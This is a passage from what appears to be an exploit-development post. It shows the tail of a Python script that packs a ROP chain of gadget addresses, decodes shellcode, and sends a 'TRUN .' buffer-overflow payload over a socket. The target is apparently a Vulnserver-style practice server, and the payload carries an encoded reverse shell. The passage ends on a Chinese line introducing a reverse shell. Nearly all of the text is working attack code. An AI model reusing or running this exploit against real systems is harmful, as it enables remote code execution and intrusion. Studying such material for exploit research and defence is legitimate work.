0x75515163 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x7777798c ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758fe636 ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" , 0xfffffdf4 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x62506090 ) rop1 += struct.pack("<L" , 0x75fd7518 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x7557771b ) rop1 += struct.pack("<L" , 0xfffd9df0 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x7730e63c ) rop1 += struct.pack("<L" , 0x75f84c67 ) rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" , 0xfffffd78 ) rop1 += struct.pack("<L" , 0x772974e4 ) rop1 += decodeShellcode(0 , pos, shellcode) rop1 += struct.pack("<L" , 0x7730e63c ) rop1 += struct.pack("<L" , 0x749f2002 ) padding = b"\x44" * 1000 PAYLOAD = ( b'TRUN .' + b'A' * (2006 -len(func)) + func + eip + rop1 + b"\x90" *80 + encodedRevShell+ padding ) with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD) if __name__ == "__main__" : main()
喜闻乐见的反弹shell
如下: